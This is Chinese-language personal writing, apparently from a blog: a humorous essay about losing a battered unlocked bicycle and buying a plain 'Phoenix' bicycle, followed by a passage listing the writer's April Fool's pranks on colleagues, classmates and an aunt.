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我买了一辆新车,旧车在昨天被偷走了。其实严格地说来,应该是被顺便骑走了。因为我的旧车从来不上锁,以前曾经在路边被人顺便骑走过,但是几天过后又在原地出现了。我很理解骑走我旧车的人,对于一辆停在路边而又不锁的车来说,无异于上面插了一块写着”请来随便骑吧”的隐形牌子。
这次又被人随便骑走了,会不会过几天又骑回来呢?可是没有车骑实在是不方便,还是再买一辆吧。
于是我买了一辆新车。并且同时默默地祝福着那个骑着我旧车的人。它虽然名字唤做自行车,但从来不会”自行”,要是叫脚踏车倒是没错,可是脚踏子几星期前被我踏掉了。车铃不响,车闸不灵,在下坡的时候要不停地吆喝”闪开些车没闸”。上坡时要推着走,左拐时龙头要朝前,朝前时龙头要稍稍右偏。逆风踩不动,顺风也得使劲地踩。所以我想,骑走它的人,愿主保佑你。
我买了一辆新车,也许我早就想买一辆新车了,旧车丢了是最好的理由,也许在潜意识里我还巴不得它丢了呢。
车铺的老板向我推荐了几款新车。首先被我排除的是变速山地车,因为它太贵,而且坐凳高,把手底,两个轮子间的距离大,骑在上面屁股要蹶起老高,好像狗吃屎前的预备动作。儿童自行车倒是便宜,可是把手高座凳低车轮又小又粗,我骑在上面的时候,一副出恭中的姿势,而且因为轮子小，不知得踩多少圈才能踩去学校．无奈中老板只得推出了一辆样式古老的女式车，＂凤凰牌＂，银白色，细轮，因为样式和颜色都极其普通，令我一见倾心．推出去试骑的时候，就更加令我满意了－－－那久违了的车铃声，那踏实的脚蹬，还有轻轻一捏车闸车就刹住了的感觉，我想，我找到啦，就它了．
下午，我骑着我的新车上班，从前需要二十分钟的车程，我只骑了十二分钟．我觉得自已不费吹灰之力脚下就呼呼生风，我神气活现地穿过乱石阵软泥道和臭水坑，在田埂上颠跛,当夹着油菜花香味的微风吹过来的时候,我突然诗兴大发,吟道:”我欲乘风而来兮,我又乘风而去……. ”
我买了一辆新车,车篮和车锁都是老板免费赠送的,我高兴极了,接下来我需要的,就是一个体重在5O公斤以下的人,坐在我身后座凳上,莺声燕语,巧笑倩兮,并且还伸来轻巧的手,扶在我的腰上……
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，最失败的玩笑：
我（电话ING）：小A小A，小B刚才打电话给我叫你今天下午到他那里去一下。
小A：哦！（问都不问立刻相信）。
结果：小B：小A，你来了真是太好拉，我正到处找你呢！靠！
2，最被鄙视的玩笑：
我：鱼骨头鱼骨头，董事长找你要邮箱地址呢。。。
鱼骨头：（跳）靠靠靠，董事长知道我的手机号码，他找我从来都是直接打我电话，骗人前请动动脑子好不好！
我：我搞错啦，其实是，是身是壳找你。。。
鱼骨头：呸（深深地鄙视ING。。。）
3，最成功的玩笑：
我：同学们，我们明天要考试。。。
同学们：啊？不会吧？不要啊。。。。
我：嘿嘿，不过，今天是4月1日请大家不要忘了。。。
同学们（作松了一口气状）：吓一跳，原来是骗人的呀。
第二天，我：同学们，今天，我们考试。
同学们：MD，不是说骗人的吗？
我：是连环计。。。
4，最窝囊的玩笑：
我：小A小A，董事长找你有事，叫你立刻去他办公室。
小A：哦。（问都不问就相信了。）
办公室。小A：达令，你找我？
董事长（老奸巨猾，作警觉状）：什么？我没有找你啊！
小A：那读乐乐干嘛说你找我？
董事长：莫非。。。。她洞悉了我们的奸情？
小A：那怎么办啊董事长？
董事长：无毒不丈夫，嘿嘿。。。（做了一个KILL的动作。）
5，最%$#&的玩笑
我：姑姑姑姑，我们马上就要和台湾打仗啦。。。
一想觉得这么讲不太妥当。
我：嘿嘿，我是骗你的，姑姑你可别相信啊。
一会儿姑父买菜回家。
姑姑：老头子，我告诉你你不要惊哈，马上台湾就要和美国打仗了。。。。
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